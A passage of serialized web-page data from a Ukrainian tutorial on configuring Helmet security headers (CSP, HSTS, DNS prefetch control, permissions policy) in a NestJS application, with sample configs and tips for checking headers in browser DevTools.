\"https:\u002F\u002Fwww.youtube.com\"],\n",[5325,9285,9286],{"__ignoreMap":5417},[5421,9287,9288,9290,9292,9294,9296,9299],{"class":5423,"line":5424},[5421,9289,9109],{"class":7967},[5421,9291,9198],{"class":5505},[5421,9293,6359],{"class":5430},[5421,9295,6106],{"class":5505},[5421,9297,9298],{"class":5430},"\"https:\u002F\u002Fwww.youtube.com\"",[5421,9300,6699],{"class":5505},[5149,9302],{},[5084,9304,9306],{"id":9305},"x-dns-prefetch-control-мінімізація-витоку-інформації","X-DNS-Prefetch-Control: Мінімізація витоку інформації",[5089,9308,9309,9310,9313],{},"Браузери за замовчуванням виконують ",[5099,9311,9312],{},"DNS prefetching"," — попереднє розв'язання DNS для посилань на сторінці, щоб прискорити майбутні переходи.",[5232,9315,9317],{"id":9316},"проблема-приватності","Проблема приватності",[5089,9319,9320,9321,9324,9325,9328],{},"Коли браузер виконує DNS prefetch для ",[5325,9322,9323],{},"https:\u002F\u002Fevil.com",", DNS сервер дізнається, що користувач ",[5099,9326,9327],{},"переглядає сторінку з посиланням на evil.com",", навіть якщо користувач не натискав це посилання.",[5232,9330,9332],{"id":9331},"вимкнення-dns-prefetch","Вимкнення DNS prefetch",[5412,9334,9336],{"className":5485,"code":9335,"language":5487,"meta":5417,"style":5417},"\u002F\u002F src\u002Fmain.ts\napp.use(\n  helmet({\n    dnsPrefetchControl: {\n      allow: false, \u002F\u002F Вимкнути DNS prefetch\n    },\n  })\n);\n",[5325,9337,9338,9342,9352,9358,9365,9378,9382,9386],{"__ignoreMap":5417},[5421,9339,9340],{"class":5423,"line":5424},[5421,9341,5495],{"class":5494},[5421,9343,9344,9346,9348,9350],{"class":5423,"line":5498},[5421,9345,6320],{"class":5509},[5421,9347,5601],{"class":5505},[5421,9349,5634],{"class":5427},[5421,9351,6327],{"class":5505},[5421,9353,9354,9356],{"class":5423,"line":5525},[5421,9355,6332],{"class":5427},[5421,9357,6340],{"class":5505},[5421,9359,9360,9363],{"class":5423,"line":5544},[5421,9361,9362],{"class":5509},"    dnsPrefetchControl:",[5421,9364,6348],{"class":5505},[5421,9366,9367,9370,9373,9375],{"class":5423,"line":5560},[5421,9368,9369],{"class":5509},"      allow:",[5421,9371,9372],{"class":5434}," false",[5421,9374,6106],{"class":5505},[5421,9376,9377],{"class":5494},"\u002F\u002F Вимкнути DNS prefetch\n",[5421,9379,9380],{"class":5423,"line":5567},[5421,9381,6610],{"class":5505},[5421,9383,9384],{"class":5423,"line":5582},[5421,9385,6616],{"class":5505},[5421,9387,9388],{"class":5423,"line":5615},[5421,9389,5612],{"class":5505},[5089,9391,9392],{},[5099,9393,5984],{},[5412,9395,9397],{"className":5943,"code":9396,"language":5945,"meta":5417,"style":5417},"X-DNS-Prefetch-Control: off\n",[5325,9398,9399],{"__ignoreMap":5417},[5421,9400,9401,9403,9405],{"class":5423,"line":5424},[5421,9402,5143],{"class":5952},[5421,9404,5482],{"class":5434},[5421,9406,9407],{"class":5430}," off\n",[5089,9409,9410],{},[5099,9411,9412],{},"Коли це потрібно:",[5093,9414,9415,9418],{},[5096,9416,9417],{},"Застосунки з високими вимогами до приватності (медичні, юридичні сервіси).",[5096,9419,9420],{},"Сторінки з посиланнями на конфіденційні ресурси.",[5089,9422,9423,9425],{},[5099,9424,8768],{}," незначне сповільнення переходів за зовнішніми посиланнями (користувач чекає розв'язання DNS після натискання).",[5149,9427],{},[5084,9429,9431],{"id":9430},"повна-конфігурація-helmet-для-продакшену","Повна конфігурація Helmet для продакшену",[5089,9433,9434],{},"Ось приклад комплексної конфігурації для NestJS застосунку у продакшені:",[5412,9436,9438],{"className":5485,"code":9437,"language":5487,"meta":5417,"style":5417},"\u002F\u002F src\u002Fconfig\u002Fhelmet.config.ts\nimport { HelmetOptions } from 'helmet';\n\nexport const helmetConfig: HelmetOptions = {\n  \u002F\u002F Content Security Policy\n  contentSecurityPolicy: {\n    directives: {\n      defaultSrc: [\"'self'\"],\n      scriptSrc: [\n        \"'self'\",\n        \"https:\u002F\u002Fcdn.jsdelivr.net\",\n        \"https:\u002F\u002Fcdn.example.com\",\n      ],\n      styleSrc: [\n        \"'self'\",\n        \"'unsafe-inline'\", \u002F\u002F Для CSS-in-JS (React styled-components)\n        \"https:\u002F\u002Ffonts.googleapis.com\",\n      ],\n      imgSrc: [\"'self'\", \"data:\", \"https:\"],\n      fontSrc: [\"'self'\", \"https:\u002F\u002Ffonts.gstatic.com\"],\n      connectSrc: [\n        \"'self'\",\n        \"https:\u002F\u002Fapi.example.com\",\n        \"wss:\u002F\u002Frealtime.example.com\",\n      ],\n      frameAncestors: [\"'none'\"], \u002F\u002F Заборона iframe\n      objectSrc: [\"'none'\"],\n      upgradeInsecureRequests: [],\n    },\n  },\n\n  \u002F\u002F HTTP Strict Transport Security\n  hsts: {\n    maxAge: 31536000,        \u002F\u002F 1 рік\n    includeSubDomains: true,\n    preload: true,\n  },\n\n  \u002F\u002F Clickjacking protection\n  frameguard: {\n    action: 'deny',\n  },\n\n  \u002F\u002F MIME sniffing protection\n  noSniff: true,\n\n  \u002F\u002F Referrer policy\n  referrerPolicy: {\n    policy: 'strict-origin-when-cross-origin',\n  },\n\n  \u002F\u002F Permissions policy\n  permissionsPolicy: {\n    features: {\n      camera: [\"'none'\"],\n      microphone: [\"'none'\"],\n      geolocation: [\"'self'\"],\n      payment: [\"'self'\"],\n      usb: [\"'none'\"],\n      fullscreen: [\"'self'\"],\n    },\n  },\n\n  \u002F\u002F DNS prefetch control\n  dnsPrefetchControl: {\n    allow: false,\n  },\n\n  \u002F\u002F Видалити X-Powered-By header\n  hidePoweredBy: true,\n\n  \u002F\u002F Cross-Origin policies\n  crossOriginEmbedderPolicy: true,\n  crossOriginOpenerPolicy: { policy: 'same-origin' },\n  crossOriginResourcePolicy: { policy: 'same-origin' },\n};\n",[5325,9439,9440,9445,9462,9466,9483,9488,9495,9501,9511,9517,9523,9529,9535,9539,9545,9551,9560,9566,9570,9588,9603,9609,9615,9621,9627,9631,9644,9654,9661,9665,9669,9673,9678,9685,9697,9706,9715,9719,9724,9730,9738,9748,9753,9758,9764,9774,9779,9785,9793,9803,9808,9813,9819,9827,9835,9847,9859,9871,9883,9895,9907,9912,9917,9922,9928,9936,9946,9951,9956,9962,9972,9977,9983,9993,10010,10024],{"__ignoreMap":5417},[5421,9441,9442],{"class":5423,"line":5424},[5421,9443,9444],{"class":5494},"\u002F\u002F src\u002Fconfig\u002Fhelmet.config.ts\n",[5421,9446,9447,9449,9451,9454,9456,9458,9460],{"class":5423,"line":5498},[5421,9448,5502],{"class":5501},[5421,9450,5506],{"class":5505},[5421,9452,9453],{"class":5509},"HelmetOptions",[5421,9455,5513],{"class":5505},[5421,9457,5516],{"class":5501},[5421,9459,5555],{"class":5430},[5421,9461,5522],{"class":5505},[5421,9463,9464],{"class":5423,"line":5525},[5421,9465,5564],{"emptyLinePlaceholder":5563},[5421,9467,9468,9470,9473,9476,9478,9480],{"class":5423,"line":5544},[5421,9469,6890],{"class":5501},[5421,9471,9472],{"class":5434}," const",[5421,9474,9475],{"class":5588}," helmetConfig",[5421,9477,5870],{"class":5505},[5421,9479,9453],{"class":6896},[5421,9481,9482],{"class":5505}," = {\n",[5421,9484,9485],{"class":5423,"line":5560},[5421,9486,9487],{"class":5494},"  \u002F\u002F Content Security Policy\n",[5421,9489,9490,9493],{"class":5423,"line":5567},[5421,9491,9492],{"class":5509},"  contentSecurityPolicy:",[5421,9494,6348],{"class":5505},[5421,9496,9497,9499],{"class":5423,"line":5582},[5421,9498,6345],{"class":5509},[5421,9500,6348],{"class":5505},[5421,9502,9503,9505,9507,9509],{"class":5423,"line":5615},[5421,9504,6353],{"class":5509},[5421,9506,6356],{"class":5505},[5421,9508,6359],{"class":5430},[5421,9510,6699],{"class":5505},[5421,9512,9513,9515],{"class":5423,"line":5620},[5421,9514,6370],{"class":5509},[5421,9516,6373],{"class":5505},[5421,9518,9519,9521],{"class":5423,"line":5626},[5421,9520,6378],{"class":5430},[5421,9522,6381],{"class":5505},[5421,9524,9525,9527],{"class":5423,"line":5645},[5421,9526,6386],{"class":5430},[5421,9528,6381],{"class":5505},[5421,9530,9531,9533],{"class":5423,"line":5650},[5421,9532,6397],{"class":5430},[5421,9534,6381],{"class":5505},[5421,9536,9537],{"class":5423,"line":5671},[5421,9538,6408],{"class":5505},[5421,9540,9541,9543],{"class":5423,"line":5677},[5421,9542,6413],{"class":5509},[5421,9544,6373],{"class":5505},[5421,9546,9547,9549],{"class":5423,"line":6424},[5421,9548,6378],{"class":5430},[5421,9550,6381],{"class":5505},[5421,9552,9553,9555,9557],{"class":5423,"line":6435},[5421,9554,6427],{"class":5430},[5421,9556,6106],{"class":5505},[5421,9558,9559],{"class":5494},"\u002F\u002F Для CSS-in-JS (React styled-components)\n",[5421,9561,9562,9564],{"class":5423,"line":6443},[5421,9563,6438],{"class":5430},[5421,9565,6381],{"class":5505},[5421,9567,9568],{"class":5423,"line":6448},[5421,9569,6408],{"class":5505},[5421,9571,9572,9574,9576,9578,9580,9582,9584,9586],{"class":5423,"line":6456},[5421,9573,6451],{"class":5509},[5421,9575,6356],{"class":5505},[5421,9577,6359],{"class":5430},[5421,9579,6106],{"class":5505},[5421,9581,6753],{"class":5430},[5421,9583,6106],{"class":5505},[5421,9585,6758],{"class":5430},[5421,9587,6699],{"class":5505},[5421,9589,9590,9592,9594,9596,9598,9601],{"class":5423,"line":6463},[5421,9591,6495],{"class":5509},[5421,9593,6356],{"class":5505},[5421,9595,6359],{"class":5430},[5421,9597,6106],{"class":5505},[5421,9599,9600],{"class":5430},"\"https:\u002F\u002Ffonts.gstatic.com\"",[5421,9602,6699],{"class":5505},[5421,9604,9605,9607],{"class":5423,"line":6475},[5421,9606,6523],{"class":5509},[5421,9608,6373],{"class":5505},[5421,9610,9611,9613],{"class":5423,"line":6487},[5421,9612,6378],{"class":5430},[5421,9614,6381],{"class":5505},[5421,9616,9617,9619],{"class":5423,"line":6492},[5421,9618,6538],{"class":5430},[5421,9620,6381],{"class":5505},[5421,9622,9623,9625],{"class":5423,"line":6500},[5421,9624,6550],{"class":5430},[5421,9626,6381],{"class":5505},[5421,9628,9629],{"class":5423,"line":6507},[5421,9630,6408],{"class":5505},[5421,9632,9633,9635,9637,9639,9641],{"class":5423,"line":6515},[5421,9634,6566],{"class":5509},[5421,9636,6356],{"class":5505},[5421,9638,6571],{"class":5430},[5421,9640,6362],{"class":5505},[5421,9642,9643],{"class":5494},"\u002F\u002F Заборона iframe\n",[5421,9645,9646,9648,9650,9652],{"class":5423,"line":6520},[5421,9647,6582],{"class":5509},[5421,9649,6356],{"class":5505},[5421,9651,6571],{"class":5430},[5421,9653,6699],{"class":5505},[5421,9655,9656,9658],{"class":5423,"line":6528},[5421,9657,6598],{"class":5509},[5421,9659,9660],{"class":5505}," [],\n",[5421,9662,9663],{"class":5423,"line":6535},[5421,9664,6610],{"class":5505},[5421,9666,9667],{"class":5423,"line":6547},[5421,9668,7558],{"class":5505},[5421,9670,9671],{"class":5423,"line":6558},[5421,9672,5564],{"emptyLinePlaceholder":5563},[5421,9674,9675],{"class":5423,"line":6563},[5421,9676,9677],{"class":5494},"  \u002F\u002F HTTP Strict Transport Security\n",[5421,9679,9680,9683],{"class":5423,"line":6579},[5421,9681,9682],{"class":5509},"  hsts:",[5421,9684,6348],{"class":5505},[5421,9686,9687,9690,9692,9694],{"class":5423,"line":6595},[5421,9688,9689],{"class":5509},"    maxAge:",[5421,9691,7826],{"class":5665},[5421,9693,7829],{"class":5505},[5421,9695,9696],{"class":5494},"\u002F\u002F 1 рік\n",[5421,9698,9699,9702,9704],{"class":5423,"line":6607},[5421,9700,9701],{"class":5509},"    includeSubDomains:",[5421,9703,7840],{"class":5434},[5421,9705,6381],{"class":5505},[5421,9707,9708,9711,9713],{"class":5423,"line":6613},[5421,9709,9710],{"class":5509},"    preload:",[5421,9712,7840],{"class":5434},[5421,9714,6381],{"class":5505},[5421,9716,9717],{"class":5423,"line":6619},[5421,9718,7558],{"class":5505},[5421,9720,9722],{"class":5423,"line":9721},38,[5421,9723,5564],{"emptyLinePlaceholder":5563},[5421,9725,9727],{"class":5423,"line":9726},39,[5421,9728,9729],{"class":5494},"  \u002F\u002F Clickjacking protection\n",[5421,9731,9733,9736],{"class":5423,"line":9732},40,[5421,9734,9735],{"class":5509},"  frameguard:",[5421,9737,6348],{"class":5505},[5421,9739,9741,9744,9746],{"class":5423,"line":9740},41,[5421,9742,9743],{"class":5509},"    action:",[5421,9745,7421],{"class":5430},[5421,9747,6381],{"class":5505},[5421,9749,9751],{"class":5423,"line":9750},42,[5421,9752,7558],{"class":5505},[5421,9754,9756],{"class":5423,"line":9755},43,[5421,9757,5564],{"emptyLinePlaceholder":5563},[5421,9759,9761],{"class":5423,"line":9760},44,[5421,9762,9763],{"class":5494},"  \u002F\u002F MIME sniffing protection\n",[5421,9765,9767,9770,9772],{"class":5423,"line":9766},45,[5421,9768,9769],{"class":5509},"  noSniff:",[5421,9771,7840],{"class":5434},[5421,9773,6381],{"class":5505},[5421,9775,9777],{"class":5423,"line":9776},46,[5421,9778,5564],{"emptyLinePlaceholder":5563},[5421,9780,9782],{"class":5423,"line":9781},47,[5421,9783,9784],{"class":5494},"  \u002F\u002F Referrer policy\n",[5421,9786,9788,9791],{"class":5423,"line":9787},48,[5421,9789,9790],{"class":5509},"  referrerPolicy:",[5421,9792,6348],{"class":5505},[5421,9794,9796,9799,9801],{"class":5423,"line":9795},49,[5421,9797,9798],{"class":5509},"    policy:",[5421,9800,8497],{"class":5430},[5421,9802,6381],{"class":5505},[5421,9804,9806],{"class":5423,"line":9805},50,[5421,9807,7558],{"class":5505},[5421,9809,9811],{"class":5423,"line":9810},51,[5421,9812,5564],{"emptyLinePlaceholder":5563},[5421,9814,9816],{"class":5423,"line":9815},52,[5421,9817,9818],{"class":5494},"  \u002F\u002F Permissions policy\n",[5421,9820,9822,9825],{"class":5423,"line":9821},53,[5421,9823,9824],{"class":5509},"  permissionsPolicy:",[5421,9826,6348],{"class":5505},[5421,9828,9830,9833],{"class":5423,"line":9829},54,[5421,9831,9832],{"class":5509},"    features:",[5421,9834,6348],{"class":5505},[5421,9836,9838,9841,9843,9845],{"class":5423,"line":9837},55,[5421,9839,9840],{"class":5509},"      camera:",[5421,9842,6356],{"class":5505},[5421,9844,6571],{"class":5430},[5421,9846,6699],{"class":5505},[5421,9848,9850,9853,9855,9857],{"class":5423,"line":9849},56,[5421,9851,9852],{"class":5509},"      microphone:",[5421,9854,6356],{"class":5505},[5421,9856,6571],{"class":5430},[5421,9858,6699],{"class":5505},[5421,9860,9862,9865,9867,9869],{"class":5423,"line":9861},57,[5421,9863,9864],{"class":5509},"      geolocation:",[5421,9866,6356],{"class":5505},[5421,9868,6359],{"class":5430},[5421,9870,6699],{"class":5505},[5421,9872,9874,9877,9879,9881],{"class":5423,"line":9873},58,[5421,9875,9876],{"class":5509},"      payment:",[5421,9878,6356],{"class":5505},[5421,9880,6359],{"class":5430},[5421,9882,6699],{"class":5505},[5421,9884,9886,9889,9891,9893],{"class":5423,"line":9885},59,[5421,9887,9888],{"class":5509},"      usb:",[5421,9890,6356],{"class":5505},[5421,9892,6571],{"class":5430},[5421,9894,6699],{"class":5505},[5421,9896,9898,9901,9903,9905],{"class":5423,"line":9897},60,[5421,9899,9900],{"class":5509},"      fullscreen:",[5421,9902,6356],{"class":5505},[5421,9904,6359],{"class":5430},[5421,9906,6699],{"class":5505},[5421,9908,9910],{"class":5423,"line":9909},61,[5421,9911,6610],{"class":5505},[5421,9913,9915],{"class":5423,"line":9914},62,[5421,9916,7558],{"class":5505},[5421,9918,9920],{"class":5423,"line":9919},63,[5421,9921,5564],{"emptyLinePlaceholder":5563},[5421,9923,9925],{"class":5423,"line":9924},64,[5421,9926,9927],{"class":5494},"  \u002F\u002F DNS prefetch control\n",[5421,9929,9931,9934],{"class":5423,"line":9930},65,[5421,9932,9933],{"class":5509},"  dnsPrefetchControl:",[5421,9935,6348],{"class":5505},[5421,9937,9939,9942,9944],{"class":5423,"line":9938},66,[5421,9940,9941],{"class":5509},"    allow:",[5421,9943,9372],{"class":5434},[5421,9945,6381],{"class":5505},[5421,9947,9949],{"class":5423,"line":9948},67,[5421,9950,7558],{"class":5505},[5421,9952,9954],{"class":5423,"line":9953},68,[5421,9955,5564],{"emptyLinePlaceholder":5563},[5421,9957,9959],{"class":5423,"line":9958},69,[5421,9960,9961],{"class":5494},"  \u002F\u002F Видалити X-Powered-By header\n",[5421,9963,9965,9968,9970],{"class":5423,"line":9964},70,[5421,9966,9967],{"class":5509},"  hidePoweredBy:",[5421,9969,7840],{"class":5434},[5421,9971,6381],{"class":5505},[5421,9973,9975],{"class":5423,"line":9974},71,[5421,9976,5564],{"emptyLinePlaceholder":5563},[5421,9978,9980],{"class":5423,"line":9979},72,[5421,9981,9982],{"class":5494},"  \u002F\u002F Cross-Origin policies\n",[5421,9984,9986,9989,9991],{"class":5423,"line":9985},73,[5421,9987,9988],{"class":5509},"  crossOriginEmbedderPolicy:",[5421,9990,7840],{"class":5434},[5421,9992,6381],{"class":5505},[5421,9994,9996,9999,10001,10004,10007],{"class":5423,"line":9995},74,[5421,9997,9998],{"class":5509},"  crossOriginOpenerPolicy:",[5421,10000,5506],{"class":5505},[5421,10002,10003],{"class":5509},"policy:",[5421,10005,10006],{"class":5430}," 'same-origin'",[5421,10008,10009],{"class":5505}," },\n",[5421,10011,10013,10016,10018,10020,10022],{"class":5423,"line":10012},75,[5421,10014,10015],{"class":5509},"  crossOriginResourcePolicy:",[5421,10017,5506],{"class":5505},[5421,10019,10003],{"class":5509},[5421,10021,10006],{"class":5430},[5421,10023,10009],{"class":5505},[5421,10025,10027],{"class":5423,"line":10026},76,[5421,10028,10029],{"class":5505},"};\n",[5089,10031,10032],{},[5099,10033,10034,10035,5482],{},"Використання у ",[5325,10036,5481],{},[5412,10038,10040],{"className":5485,"code":10039,"language":5487,"meta":5417,"style":5417},"\u002F\u002F src\u002Fmain.ts\nimport { NestFactory } from '@nestjs\u002Fcore';\nimport { AppModule } from '.\u002Fapp.module';\nimport helmet from 'helmet';\nimport { helmetConfig } from '.\u002Fconfig\u002Fhelmet.config';\n\nasync function bootstrap() {\n  const app = await NestFactory.create(AppModule);\n\n  \u002F\u002F Умовне увімкнення для продакшену\n  if (process.env.NODE_ENV === 'production') {\n    app.use(helmet(helmetConfig));\n  } else {\n    \u002F\u002F У розробці — м'якіші обмеження\n    app.use(\n      helmet({\n        contentSecurityPolicy: false, \u002F\u002F Вимкнути CSP (для HMR)\n        hsts: false,                  \u002F\u002F Вимкнути HSTS (немає HTTPS)\n      })\n    );\n  }\n\n  await app.listen(3000);\n}\nbootstrap();\n",[5325,10041,10042,10046,10062,10078,10090,10108,10112,10122,10144,10148,10153,10177,10197,10207,10212,10222,10229,10241,10254,10259,10263,10267,10271,10287,10291],{"__ignoreMap":5417},[5421,10043,10044],{"class":5423,"line":5424},[5421,10045,5495],{"class":5494},[5421,10047,10048,10050,10052,10054,10056,10058,10060],{"class":5423,"line":5498},[5421,10049,5502],{"class":5501},[5421,10051,5506],{"class":5505},[5421,10053,5510],{"class":5509},[5421,10055,5513],{"class":5505},[5421,10057,5516],{"class":5501},[5421,10059,5519],{"class":5430},[5421,10061,5522],{"class":5505},[5421,10063,10064,10066,10068,10070,10072,10074,10076],{"class":5423,"line":5525},[5421,10065,5502],{"class":5501},[5421,10067,5506],{"class":5505},[5421,10069,5532],{"class":5509},[5421,10071,5513],{"class":5505},[5421,10073,5516],{"class":5501},[5421,10075,5539],{"class":5430},[5421,10077,5522],{"class":5505},[5421,10079,10080,10082,10084,10086,10088],{"class":5423,"line":5544},[5421,10081,5502],{"class":5501},[5421,10083,5549],{"class":5509},[5421,10085,5552],{"class":5501},[5421,10087,5555],{"class":5430},[5421,10089,5522],{"class":5505},[5421,10091,10092,10094,10096,10099,10101,10103,10106],{"class":5423,"line":5560},[5421,10093,5502],{"class":5501},[5421,10095,5506],{"class":5505},[5421,10097,10098],{"class":5509},"helmetConfig",[5421,10100,5513],{"class":5505},[5421,10102,5516],{"class":5501},[5421,10104,10105],{"class":5430}," '.\u002Fconfig\u002Fhelmet.config'",[5421,10107,5522],{"class":5505},[5421,10109,10110],{"class":5423,"line":5567},[5421,10111,5564],{"emptyLinePlaceholder":5563},[5421,10113,10114,10116,10118,10120],{"class":5423,"line":5582},[5421,10115,5570],{"class":5434},[5421,10117,5573],{"class":5434},[5421,10119,5576],{"class":5427},[5421,10121,5579],{"class":5505},[5421,10123,10124,10126,10128,10130,10132,10134,10136,10138,10140,10142],{"class":5423,"line":5615},[5421,10125,5585],{"class":5434},[5421,10127,5589],{"class":5588},[5421,10129,5592],{"class":5505},[5421,10131,5595],{"class":5501},[5421,10133,5598],{"class":5509},[5421,10135,5601],{"class":5505},[5421,10137,5604],{"class":5427},[5421,10139,5607],{"class":5505},[5421,10141,5532],{"class":5509},[5421,10143,5612],{"class":5505},[5421,10145,10146],{"class":5423,"line":5620},[5421,10147,5564],{"emptyLinePlaceholder":5563},[5421,10149,10150],{"class":5423,"line":5626},[5421,10151,10152],{"class":5494},"  \u002F\u002F Умовне увімкнення для продакшену\n",[5421,10154,10155,10158,10161,10163,10165,10167,10169,10171,10173,10175],{"class":5423,"line":5645},[5421,10156,10157],{"class":5501},"  if",[5421,10159,10160],{"class":5505}," (",[5421,10162,8080],{"class":5509},[5421,10164,5601],{"class":5505},[5421,10166,8085],{"class":5509},[5421,10168,5601],{"class":5505},[5421,10170,8090],{"class":5588},[5421,10172,8093],{"class":5505},[5421,10174,8096],{"class":5430},[5421,10176,5876],{"class":5505},[5421,10178,10179,10182,10184,10186,10188,10190,10192,10194],{"class":5423,"line":5650},[5421,10180,10181],{"class":5509},"    app",[5421,10183,5601],{"class":5505},[5421,10185,5634],{"class":5427},[5421,10187,5607],{"class":5505},[5421,10189,5639],{"class":5427},[5421,10191,5607],{"class":5505},[5421,10193,10098],{"class":5509},[5421,10195,10196],{"class":5505},"));\n",[5421,10198,10199,10202,10205],{"class":5423,"line":5671},[5421,10200,10201],{"class":5505},"  } ",[5421,10203,10204],{"class":5501},"else",[5421,10206,6348],{"class":5505},[5421,10208,10209],{"class":5423,"line":5677},[5421,10210,10211],{"class":5494},"    \u002F\u002F У розробці — м'якіші обмеження\n",[5421,10213,10214,10216,10218,10220],{"class":5423,"line":6424},[5421,10215,10181],{"class":5509},[5421,10217,5601],{"class":5505},[5421,10219,5634],{"class":5427},[5421,10221,6327],{"class":5505},[5421,10223,10224,10227],{"class":5423,"line":6435},[5421,10225,10226],{"class":5427},"      helmet",[5421,10228,6340],{"class":5505},[5421,10230,10231,10234,10236,10238],{"class":5423,"line":6443},[5421,10232,10233],{"class":5509},"        contentSecurityPolicy:",[5421,10235,9372],{"class":5434},[5421,10237,6106],{"class":5505},[5421,10239,10240],{"class":5494},"\u002F\u002F Вимкнути CSP (для HMR)\n",[5421,10242,10243,10246,10248,10251],{"class":5423,"line":6448},[5421,10244,10245],{"class":5509},"        hsts:",[5421,10247,9372],{"class":5434},[5421,10249,10250],{"class":5505},",                  ",[5421,10252,10253],{"class":5494},"\u002F\u002F Вимкнути HSTS (немає HTTPS)\n",[5421,10255,10256],{"class":5423,"line":6456},[5421,10257,10258],{"class":5505},"      })\n",[5421,10260,10261],{"class":5423,"line":6463},[5421,10262,7057],{"class":5505},[5421,10264,10265],{"class":5423,"line":6475},[5421,10266,7073],{"class":5505},[5421,10268,10269],{"class":5423,"line":6487},[5421,10270,5564],{"emptyLinePlaceholder":5563},[5421,10272,10273,10275,10277,10279,10281,10283,10285],{"class":5423,"line":6492},[5421,10274,5653],{"class":5501},[5421,10276,5589],{"class":5509},[5421,10278,5601],{"class":5505},[5421,10280,5660],{"class":5427},[5421,10282,5607],{"class":5505},[5421,10284,5666],{"class":5665},[5421,10286,5612],{"class":5505},[5421,10288,10289],{"class":5423,"line":6500},[5421,10290,5674],{"class":5505},[5421,10292,10293,10295],{"class":5423,"line":6507},[5421,10294,5680],{"class":5427},[5421,10296,5683],{"class":5505},[5149,10298],{},[5084,10300,10302],{"id":10301},"тестування-та-діагностика-security-headers","Тестування та діагностика Security Headers",[5232,10304,10306],{"id":10305},"перевірка-заголовків-через-devtools","Перевірка заголовків через DevTools",[5089,10308,10309,10312,10313,10315],{},[5099,10310,10311],{},"Крок 1:"," Відкрийте Chrome DevTools (F12) → ",[5099,10314,2073],{}," tab",[5089,10317,10318,10321],{},[5099,10319,10320],{},"Крок 2:"," Перезавантажте сторінку та виберіть будь-який запит (зазвичай перший HTML документ)",[5089,10323,10324,10327,10328,10331,10332],{},[5099,10325,10326],{},"Крок 3:"," Перегляньте вкладку ",[5099,10329,10330],{},"Headers"," → ",[5099,10333,10334],{},"Response Headers",[5089,10336,10337],{},[5099,10338,10339],{},"Приклад правильно налаштованих заголовків:",[5412,10341,10343],{"className":5943,"code":10342,"language":5945,"meta":5417,"style":5417},"HTTP\u002F1.1 200 OK\nContent-Type: text\u002Fhtml; charset=utf-8\nContent-Security-Policy: default-src 'self'; script-src 'self' https:\u002F\u002Fcdn.example.com\nStrict-Transport-Security: max-age=31536000; includeSubDomains; preload\nX-Content-Type-Options: nosniff\nX-Frame-Options: DENY\nReferrer-Policy: strict-origin-when-cross-origin\nPermissions-Policy: camera=(), microphone=(), geolocation=(self)\n",[5325,10344,10345,10361,10370,10378,10386,10394,10402,10411],{"__ignoreMap":5417},[5421,10346,10347,10350,10352,10355,10358],{"class":5423,"line":5424},[5421,10348,10349],{"class":5434},"HTTP",[5421,10351,6642],{"class":5505},[5421,10353,10354],{"class":5665},"1.1",[5421,10356,10357],{"class":5665}," 200",[5421,10359,10360],{"class":5430}," OK\n",[5421,10362,10363,10365,10367],{"class":5423,"line":5498},[5421,10364,8195],{"class":5952},[5421,10366,5482],{"class":5434},[5421,10368,10369],{"class":5430}," text\u002Fhtml; charset=utf-8\n",[5421,10371,10372,10374,10376],{"class":5423,"line":5525},[5421,10373,5320],{"class":5952},[5421,10375,5482],{"class":5434},[5421,10377,5957],{"class":5430},[5421,10379,10380,10382,10384],{"class":5423,"line":5544},[5421,10381,5740],{"class":5952},[5421,10383,5482],{"class":5434},[5421,10385,7733],{"class":5430},[5421,10387,10388,10390,10392],{"class":5423,"line":5560},[5421,10389,5125],{"class":5952},[5421,10391,5482],{"class":5434},[5421,10393,8358],{"class":5430},[5421,10395,10396,10398,10400],{"class":5423,"line":5567},[5421,10397,5113],{"class":5952},[5421,10399,5482],{"class":5434},[5421,10401,7504],{"class":5430},[5421,10403,10404,10406,10408],{"class":5423,"line":5582},[5421,10405,5131],{"class":5952},[5421,10407,5482],{"class":5434},[5421,10409,10410],{"class":5430}," strict-origin-when-cross-origin\n",[5421,10412,10413,10415,10417],{"class":5423,"line":5615},[5421,10414,5137],{"class":5952},[5421,10416,5482],{"class":5434},[5421,10418,10419],{"class":5430}," camera=(), microphone=(), geolocation=(self)\n",[5782,10421,10422,10428],{},[5089,10423,10424,10427],{},[5099,10425,10426],{},"Швидка перевірка:"," використовуйте онлайн-інструменти для аналізу security headers:",[5093,10429,10430,10438,10446],{},[5096,10431,10432,10437],{},[8023,10433,10436],{"href":10434,"rel":10435},"https:\u002F\u002Fsecurityheaders.com",[8027],"securityheaders.com"," — комплексний аналіз з оцінкою A+ до F",[5096,10439,10440,10445],{},[8023,10441,10444],{"href":10442,"rel":10443},"https:\u002F\u002Fobservatory.mozilla.org",[8027],"Mozilla Observatory"," — детальний звіт про вразливості",[5096,10447,10448,10453],{},[8023,10449,10452],{"href":10450,"rel":10451},"https:\u002F\u002Fwww.hardenize.com",[8027],"hardenize.com"," — аналіз TLS та security headers",[5232,10455,10457],{"id":10456},"перевірка-csp-через-консоль","Перевірка CSP через консоль",[5089,10459,10460],{},"Якщо CSP блокує ресурс, браузер виведе помилку у Console:",[5412,10462,10465],{"className":10463,"code":10464,"language":5921},[5919],"Refused to load the script 'https:\u002F\u002Fevil.com\u002Fmalware.js' \nbecause it violates the following Content Security Policy directive: \n\"script-src 'self' https:\u002F\u002Fcdn.example.com\"\n",[5325,10466,10464],{"__ignoreMap":5417},[5089,10468,10469],{},[5099,10470,10471],{},"Що робити:",[5697,10473,10474,10481,10484],{},[5096,10475,10476,10477,10480],{},"Перевірте, чи ресурс ",[5099,10478,10479],{},"легітимний"," (це ваш CDN чи зовнішня бібліотека).",[5096,10482,10483],{},"Якщо так — додайте домен до відповідної CSP директиви.",[5096,10485,10486],{},"Якщо ні — це потенційна XSS атака, залиште блокування активним.",[5232,10488,10490],{"id":10489},"csp-report-only-режим","CSP Report-Only режим",[5089,10492,10493,10494,10497],{},"Для тестування CSP без блокування ресурсів використовуйте ",[5099,10495,10496],{},"report-only"," режим:",[5412,10499,10501],{"className":5485,"code":10500,"language":5487,"meta":5417,"style":5417},"\u002F\u002F src\u002Fmain.ts\napp.use(\n  helmet.contentSecurityPolicy({\n    reportOnly: true, \u002F\u002F Лише логувати порушення, не блокувати\n    directives: {\n      defaultSrc: [\"'self'\"],\n      scriptSrc: [\"'self'\", \"https:\u002F\u002Fcdn.example.com\"],\n      reportUri: '\u002Fapi\u002Fcsp-report', \u002F\u002F Endpoint для отримання звітів\n    },\n  